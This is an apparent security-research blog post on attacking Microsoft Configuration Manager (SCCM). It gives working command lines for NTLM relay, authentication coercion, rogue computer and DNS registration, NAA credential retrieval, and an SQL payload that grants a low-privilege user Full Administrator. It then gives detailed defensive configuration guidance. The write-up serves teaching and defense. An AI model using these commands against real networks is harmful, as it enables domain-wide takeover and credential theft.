Introduction

System Center Configuration Manager (SCCM) or Microsoft Configuration Manager allows endpoint administrators to utilize a single platform for seamless device management inside of an Active Directory environment, including pushing applications, scripts, and updates to computers. The primary server in a particular site inside of the SCCM hierarchy is the SCCM site-server, which facilitates the software deployment on all remote systems in the site with the help of a site database server.

Like any Active Directory integrated Microsoft technology, abuses are possible. Most of which are previously categorized in the Misconfiguration Manager github repository thanks to the work of Duane Michael, Chris Thompson, Garrett Foster, Josh Prager, and Adam Chester. These opportunities for abuse range from lateral movement, credential access, and privilege escalation, some of which are default or nearly default exploitable. Due to the wide-scale usage of Microsoft Configuration Manager (hereafter known as SCCM) in the client environments I’ve tested - combined with the technology being so difficult to secure due to its large level of access, I’ve decided to document what I believe are the most common easy wins for attackers. This post will attempt to combine explanatory and practical example focused tradecraft together which combines high commonality with incredible impact from low-privilege contexts, and what you can do to prevent them from a systems administration and defensive perspective.

Like always, this writeup’s purpose is to document my research on SCCM attacks and provide a resource in which others can learn from as an introduction to SCCM exploitation. This writeup is not expansive, covering only the techniques which I find are the lowest-hanging, easiest wins for attackers. If you want more information and exploitable edge-case configurations, consult the Misconfiguration Manager github.

• Introduction
• Enumeration
• Exploitation
  • ELEVATE-1 - NTLM Relay Site Server Authentication to Site Systems
  • ELEVATE-2 - NTLM Relay with Automatic Client Push Authentication
  • ELEVATE-3 - NTLM Relay with Automatic Client Push Authentication and Device Discovery
  • TAKEOVER-1 - Site Takeover Via NTLM Relay to MSSQL Site Database Server
  • CRED-2 - Retrieve Network Access Account Credentials Through Policy Deobfuscation
• Defensive Recommendations
  • Preventing ELEVATE-1
  • Preventing ELEVATE-2
  • Preventing ELEVATE-3
  • Preventing TAKEOVER-1
  • Preventing CRED-2
• Conclusion

Enumeration

Just like with any other high-impact enterprise technology, performing reconnaissance is key to getting an understanding of the attack surface. For this post, the perspective of attack will primarily focus on performing actions while proxying traffic through some means of post-exploitation, such as a Mythic agent; while low-privilege user credentials have already been obtained through some additional action such as the dumping of the LSA hive, which we can utilize at a network level.

Thankfully, a tool was written by Garrett Foster for Linux platforms that we can use to proxy into the network, titled SCCMHunter. SCCMHunter is written in Python and used primarily for testers and operators to simulate adversaries in an SCCM context.

Enumeration procedures can be kicked off with SCCMHunter by using the find module, passing in our low-privilege user credentials so the tool can quickly identify SCCM related assets directly from LDAP.

sccmhunter.py find -u jdoe -p P@ssw0rd -dc-ip 192.168.1.2 -d lab.lan

SCCMHunter stores all data found in a database inside the ~/.sccmhunter directory and can be directly queried with the show module. Information about site-servers, site database servers, users, groups, can be accessed offline after LDAP data is ingested.

For example, display of the SCCM site servers ingested by SCCMHunter is shown below:

sccmhunter.py show -siteservers

Exploitation

Now that some environmental context has been achieved through base-level recon of SCCM assets over LDAP, the next step is to act on our enumeration and attempt to perform exploitation of the Active Directory environment utilizing a number of SCCM related tradecraft.

ELEVATE-1 - NTLM Relay Site Server Authentication to Site Systems

As mentioned before, the site server is used to push applications, scripts, and updates to devices in its current site. Because the site server is the central device used for administrative software deployment to devices in the domain, the account utilized for site system installation is required to have local administrator permissions on every site system. By default, the site server machine account is set to perform these actions as the official site system installation account, which often enables all site systems to be vulnerable to NTLM relay attacks.

If machine account authentication from the site server can be coerced (which can be done through a multitude of RPC endpoints accessible to domain users by default), said authentication can be relayed to site systems without signing on critical services such as SMB. Allowing, by default, low privilege users to takeover all systems in the site without SMB signing (also default for non Domain Controllers)

Below is a graphic visualizing the attack technique:

With a valid vulnerable site system in mind, for example the site database server mssql01.lab.lan, set up a relay using ntlmrelayx.py:

ntlmrelayx.py -t mssql01.lab.lan -smb2support

Next utilize a tool such as PetitPotam to coerce valid Net-NTLMv2 authentication from the site server, in this case sccm01.lab.lan:

python3 PetitPotam.py 192.168.1.50 sccm01.lab.lan -u jdoe -p P@ssw0rd

Looking back at ntlmrelayx.py, we can see that it has automatically relayed the authentication to the target device and dumped credentials due to its administrative permissions on the host.

ELEVATE-2 - NTLM Relay with Automatic Client Push Authentication

When side-wide automatic client push installation is enabled, the site server will automatically attempt to install client agents on devices registered in the site after approval. If an attacker is able to trick the site server into recognizing a new client device with an attacker owned address, they would be able to relay authentication from the site server to systems without SMB signing for arbitrary takeover. Note that the authentication obtained from the site server attempting to install an agent on the client device would be the official site server installation account. With this non-default added account being required to have local administrator privileges on each site system, it is common that this non-default site server installation account not only has administrative permissions on site systems but could be a member of a high privilege group such as Domain Admins. This would imply that if an attacker is able to trick the site server into performing client installation to a controller address, they could gain administrative access to every device without SMB signing in the domain, whether they are in the site or not.

Unlike ELEVATE-1, with its requirements being entirely default, ELEVATE-2 has a large number of non-default requirements, although still very common.

These include:

1. Automatic site-wide client push installation enabled
2. Automatic site device approval
3. Fallback authentication to NTLM

While all three of these options are non-default and are required to be manually configured by a system administrator for this attack to work, most of these options provide ease of use for system administrators attempting to manage large-scale SCCM device infrastructure. For example, automatic client push installation ensures that devices recognized by the site server don’t have to be manually selected for client push installation. Automatic site device approval ensures that system administrators do not have to manually approve each device making automated requests to join a site. And finally fallback authentication ensures greater compatibility with older, non Kerberos compatible windows device which still run rampant in corporate environments, by allowing NTLM authentication to be used when Kerberos fails. So while all three of these options are entirely manually implemented, it makes perfect sense why so many SCCM admins configure them to make their job significantly easier and less manual in the long run.

To perform this attack, first utilize SharpSCCM written by Chris Thompson to register a fake client device on the site server using low-privilege user credentials, using the address of our attacker controlled relay server as a target:

SharpSCCM.exe invoke client-push -t 192.168.1.50

after a few minutes, the site server will send authentication to our relay server and attempt to install a client on the automatically approved device, allowing us to relay the LAB\SCCM-CLIENTPUSH high privilege account authentication to devices without SMB signing:

Before authentication occurs, the relay should have already been configured with the command:

ntlmrelayx.py -t mssql01.lab.lan -smb2support

ELEVATE-3 - NTLM Relay with Automatic Client Push Authentication Via Device Discovery

Active Directory device discovery in SCCM environments is when the site server uses Active Directory to search for computers which have not been added to the site, then adds them automatically. This option is useful for system administrators who want the most automated client deployment possible. Once a computer account is added to the domain the site server searches LDAP for new computer objects, automatically approves them, then automatically attempts to deploy clients to them.

Just like ELEVATE-2 we can coerce and relay client push installation account authentication, but because of automated AD device discovery we aren’t required to execute SharpSCCM for client push requests to the site server. We can instead elicit the authentication just by adding a computer object and a DNS A record to LDAP, which is possible under low-privilege domain user context through a proxy.

Adding the DNS A record can be done by using dnstool.py from krbrelayx:

python3 /opt/krbrelayx/dnstool.py -u 'lab.lan\jdoe' -p P@ssw0rd -r attacker.lab.lan -a add -t A -d 192.168.1.50 192.168.1.2

Then add the computer account to LDAP for the site server to automatically discover:

addcomputer.py -computer-name 'attacker$' -computer-pass P@ssw0rd -dc-ip 192.168.1.2 lab.lan/jdoe:'P@ssw0rd'

After the default 5 minute delta timer, the site server should automatically detect the computer object in LDAP and reference the DNS A record, successfully sending high privilege authentication from the client push installation account which can be relayed. Once again the relay can be configured with the command:

ntlmrelayx.py -t mssql01.lab.lan -smb2support

TAKEOVER-1 - Site Takeover Via NTLM Relay to MSSQL Site Database Server

Just like the site server machine account requires administrative privileges on the devices in the site to perform client installation, it also requires db_owner permissions on the MSSQL instance on the site database server to store information about the site. Because machine account authentication can be coerced under the context of a low-privilege user account, it can be intercepted and relayed to the MSSQL site database server allowing an attacker to arbitrarily grant any user the SCCM “Full Administrator” role. The only requirements to this attack being that the site database server being relayed to is not installed on the same system as the site server being coerced due to the inability to relay back to the same device, and Extended Protection for Authentication (EPA) is not enabled on the MSSQL instance (default).

The Full Administrator role can be used in an SCCM environment for remote code execution as SYSTEM on every device in the site, granting low-privilege users full administrative access to every device in the site SMB signing or not.

First use the mssql module through SCCMHunter to parse compile the MSSQL query which can be used to add a low-privilege user to Full Administrator for site takeover:

sccmhunter.py mssql -dc-ip 192.168.1.2 -d lab.lan -u 'jdoe' -p 'P@ssw0rd' -tu jdoe -sc abc -stacked

Then we can use ntlmrelayx.py to execute our generated MSSQL query on successful authentication to the site database server:

ntlmrelayx.py -t mssql://mssql01.lab.lan -smb2support -q "DECLARE @AdminID INT; USE CM_abc; INSERT INTO RBAC_Admins (AdminSID, LogonName, IsGroup, IsDeleted, CreatedBy
, CreatedDate, ModifiedBy, ModifiedDate, SourceSite) SELECT 0x0105000000000005150000008F42A6DC5FAB6EDBDEE46EF958040000, 'LAB\jdoe', 0, 0, '', '', '', '', 'abc' WHERE NOT EXISTS ( SEL
ECT 1 FROM RBAC_Admins WHERE LogonName = 'LAB\jdoe' ); SET @AdminID = (SELECT TOP 1 AdminID FROM RBAC_Admins WHERE LogonName = 'LAB\jdoe'); INSERT INTO RBAC_ExtendedPermissions (Admi
nID, RoleID, ScopeID, ScopeTypeID) SELECT @AdminID, RoleID, ScopeID, ScopeTypeID FROM (VALUES  ('SMS0001R', 'SMS00ALL', 29), ('SMS0001R', 'SMS00001', 1), ('SMS0001R', 'SMS00004', 1) 
) AS V(RoleID, ScopeID, ScopeTypeID) WHERE NOT EXISTS ( SELECT 1 FROM RBAC_ExtendedPermissions  WHERE AdminID = @AdminID  AND RoleID = V.RoleID  AND ScopeID = V.ScopeID AND ScopeType
ID = V.ScopeTypeID );"

Finally coerce authentication from the site server to the attacker host:

python3 /opt/PetitPotam/PetitPotam.py -u jdoe -p P@ssw0rd 192.168.1.50 sccm01.lab.lan

The Net-NTLMv2 authentication will then be relayed, granting the low-privilege user jdoe Full Administrator, leading to full site takeover from a low-privilege user with completely default configuration.

The users holding the Full Administrator role can then be enumerated using SCCMHunter, confirming that our low-privilege user holds Full Administrator

CRED-2 - Retrieve Network Access Account Credentials Through Policy Deobfuscation

Being part of the CRED moniker rather than the ELEVATE or TAKEOVER monikers, CRED-2 invokes credential access rather than any sort of direct device compromise. This technique involves recovering Network Access Account (NAA) credentials. The NAA account is an account used in an SCCM environment used for clients to pull software from distribution points when access through their machine account is impossible. The microsoft documentation notes that this account primarily applies to computers connecting to distribution points from workgroups, untrusted domains, or operating systems not yet joined to the domain during deployment.

When a client is registered, it automatically obtains the ability to request computer policies which are used as configuration administered by the site server. Requesting the NAAConfig policy includes obfuscated NAA credentials.

Because automatic client approval is set by default for computers from trusted domains, combined with the fact that low-privilege users can add 10 computer accounts by default, an attacker could add a rogue computer account and register it as a client under the site to obtain NAA credentials.

Commonly this account is heavily over-privileged, even going so far to be commonly included in the Domain Admins group due to a large amount of system administrators not applying the principle of least privilege when performing account configuration. So while CRED-2 is not as flashy as the direct device or site compromise of ELEVATE or TAKEOVER, its still a very common and potentially impactful by-default account compromise from low-privilege user context.

First add a computer account:

addcomputer.py -computer-name 'attacker$' -computer-pass P@ssw0rd -dc-ip 192.168.1.2 lab.lan/jdoe:'P@ssw0rd'

Then execute SharpSCCM to obtain the policy secrets using the previously created machine account credentials:

SharpSCCM.exe get naa -r newdevice -u attacker$ -p P@ssw0rd

Defensive Recommendations

With so many of these attacks being default, nearly default, or being based entirely on common configuration - it is important to understand the configuration required for the attacks impact to be realized and what defenders can implement to prevent them from happening in their own networks. Note that all of these changes should be fully tested before configuring them in a production environment, these preventative configurations have the potential to break device compatibility and should be implemented carefully on a case-by-case basis.

Preventing ELEVATE-1

The primary factor in which ELEVATE-1 is so dangerous is that it is effectively administrative access on every device from low-privilege access, where the attack is entirely controlled by the attacker. Unlike ELEVATE-2 and ELEVATE-3, ELEVATE-1 uses authentication coercion over RPC directly elicited by an attacker, which has its advantages and disadvantages from an attackers perspective. Due to every step of the attack being controlled by an attacker it holds a significant advantage to ELEVATE-2 and ELEVATE-3, but has a quite simple preventative configuration available. Because by default from low-privilege access an attacker is able to only coerce machine account authentication from the site server over RPC, if the site server machine account is NOT permitted administrative access over the site systems and instead uses another high privilege user account for client installation this attack will fail.

Note that this configuration to prevent ELEVATE-1 does NOT apply to ELEVATE-2 and ELEVATE-3, since the in those attacks the site server is performing client push installation authentication to the attacker from whichever account is configured, including the privileged user account which will still be required to hold administrative action over the site systems. To prevent all relay attacks on site systems, the simpler although less comprehensive method to prevent this attack would be to enable SMB signing on a site system basis. Due to windows systems not having SMB signing by default on installation unless they’re promoted to Domain Controllers, I’ve included it as a preventative measure but not the primary one due to the potential that one site system could be easily forgotten for this configuration change leading to compromise.

Recommended configuration for preventing ELEVATE-1 includes:

1. Modifying the client push installation account to a non-computer, user account
2. Enabling SMB signing on site systems

Enabling SMB signing on site systems will not be showcased due to the large number of previous resources on the topic. For modifying the client push installation account, go to the Configuration Manager Console > Administration tab > Right click the site under Site Configuration and Sites > Client Installation Settings > Client Push Installation > Navigate to the accounts tab and select a non-computer account. Ensure to not configure overly permissive access to the environment and apply the principle of least privilege.

Preventing ELEVATE-2

As mentioned before ELEVATE-2 is similar to ELEVATE-1 in that it is an attack involving relaying highly privileged authentication from the site server to the site systems due to the administrative requirements of the site server. If the default client push installation account is configured to be a non computer account, then arbitrary fully attacker controller RPC coercion is not possible to site systems. But as previously discussed, this does not prevent completely valid client push authentication from the new user account from being relayed. While the administrative access from this account could theoretically be removed after client installation, this approach doesn’t seem feasible. What should be focused on after modifying the client push installation account is restricting how an attacker can elicit and use valid client push installation account authentication from the newly provisioned user account, while still having site wide automatic client push installation configured.

From a systems administration perspective if you’re manually configuring site side automatic client push installation, there exists the assumption that as a system administrator you would want that feature to function without being vulnerable because it provides a level of additional automation that would make your job easier. So while disabling site wide automatic client push installation would mitigate this attack, its not an entirely practical option considering the corporation wouldn’t be able to use the product features they have purchased without opening additional attack surface.

While this is not always the case with Microsoft shipped products, thankfully for system administrators and security professionals there are options to ensure the valid authentication from the site server is not useable by an attacker, while still keeping automatic client push installation enabled. These options include the usage of forced Kerberos for client push installation authentication from the site server by ensuring the “Fallback to NTLM” option is disabled. Additionally enabling the option “Use PKI certificate when available for client authentication” and setting “HTTPS Only” ensures self signed certificates cannot be used to create/register rogue devices under the site, allowing attackers to elicit valid auth from the site server. And finally restricting automatic client approval, ensuring that if an attacker is able to register a rogue device it will be required to be manually approved by a system administrator.

The defensive recommendations in list format include:

1. Disable “Fallback to NTLM” option
2. Enable official PKI certificates to be required when registering client devices
3. Restrict automatic client approval for the site
4. Disable site wide automatic client push installation (Listing only if unneeded by the IT team)
5. Enable SMB signing on site systems

Fallback to NTLM can be disabled by navigating to Configuration Manager Console > Administration tab > Right click the site under Site Configuration and Sites > Client Installation Settings > Client Push Installation > General tab > Uncheck Allow Connection Fallback to NTLM

Enabling PKI certificates to be required when performing client devices can be found Configuration Manager Console > Administration tab > Right click the site under Site Configuration and Sites > Properties > Communication Security > Use PKI client certificate when available and configure HTTPS only , then configure your certificate store with valid certificates from your CA.

Restricting automatic client approval for the site can be done by navigating to Configuration Manager Console > Administration tab > Click under Site Configuration and select Sites > Select Hierarchy Settings in the above toolbar > Client Approval and Conflicting Records > Select Manually Approve Each Computer

While using the recommended “Automatically approve computers in trusted domains” for this option does mitigate ELEVATE-2, it does not mitigate ELEVATE-3. This is due to ELEVATE-3 performing client push installation from detecting computers via AD discovery and referencing an A record placed by the attacker. Implementing the other defensive recommendations will mitigate both ELEVATE-2 and ELEVATE-3.

Preventing ELEVATE-3

Due to ELEVATE-3 being nearly identical to ELEVATE-2 in the attack flow except for the method that the site server discovers the rogue device for client push installation, all of the defensive recommendations are the same for this section as the last. The only additional defensive configuration which can be applied is the restriction of domain users being able to add computers through the MachineAccountQuota domain attribute, and their ability to add DNS A records, which are both default in Active Directory and won’t be covered due to the amount of previous and wide-scale resources for performing those actions.

The preventative measures not previously covered for this tradecraft includes:

1. Restrict domain users ability to add computer accounts through MachineAccountQuota
2. Restrict domain users ability to add DNS A records

Preventing TAKEOVER-1

While TAKEOVER-1 is pretty much entirely default if there exists a site server that is installed separately from any site database server, the mitigation of TAKEOVER-1 is more straightforward than the ELEVATE tradecraft, and involves less factors of consideration from a systems administration and defensive perspective. Since to my knowledge the site server machine account is required to have db_owner over the site database and there does not exist a way to configure it separately, the best option is to configure Extended Protection for Authentication (EPA) on the MSSQL site database instance to prevent relays using Net-NTLMv2. This configuration is not directly tied to SCCM and has a large number of additional resources covering it, so I will not showcase it here.

The only defensive recommendation for this attack is:

1. Enable EPA on the MSSQL site database instance

Preventing CRED-2

While there are certain scenarios that an NAA account is required, often times it is a completely forgotten configuration which is not required and overprivileged. First evaluate in the current environments configuration to decide if the account is needed. If found that the account is needed, ensure that it is not high privileged, cannot login interactively, and only holds read access to the distribution point shares. If the account is to remain enabled, act as if this account is accessible by every user on your network, because it is. If the account is not needed, disabling the account is a completely viable option due to the alternative communication to distribution points from the usage of HTTPS or Enhanced HTTP (EHTTP). Additionally enabling the previously covered recommendation of “Require clients to use PKI certificates” restricts an attacker from registering a rogue client to the site server without first obtaining a valid certificate.

The defensive recommendations for this attack include:

1. Disable the NAA if not needed and remove from Active Directory, then implement HTTPS or EHTTP authentication for software distribution communication
2. If the account is needed, apply the principle of least privilege to the NAA account. Ensure it is not added to high privilege groups
3. Require clients to use PKI certificates during registration

Disabling the NAA account can be done by navigating to Configuration Manager Console > Administration tab > Right click the site under Site Configuration and Sites > Configure Site Components > Software Distribution > Network Access Account tab

Conclusion

System Center Configuration Manager (SCCM) or Microsoft Configuration Manager allows administrators a unified experience in managing devices on enterprise networks. Like all Microsoft developed products, abuses are possible within it, leading to the details referenced in the Exploitation section of this blog, and many others. Because of the high level of access SCCM holds over corporate environments - default, near-default, and common configuration can lead to domain-wide privilege escalation from a low-privilege user context, providing an attacker with an easy win. There are measures to prevent these attacks while also still considering the usability and ease of administration in your SCCM environment. Massive thanks to Duane Michael, Chris Thompson, Garrett Foster, Josh Prager, and Adam Chester, for creating Misconfiguration Manager - which is a far more comprehensive resource than this one. Check it out if you have additional SCCM related tradecraft, defensive, or detection focused questions after reading.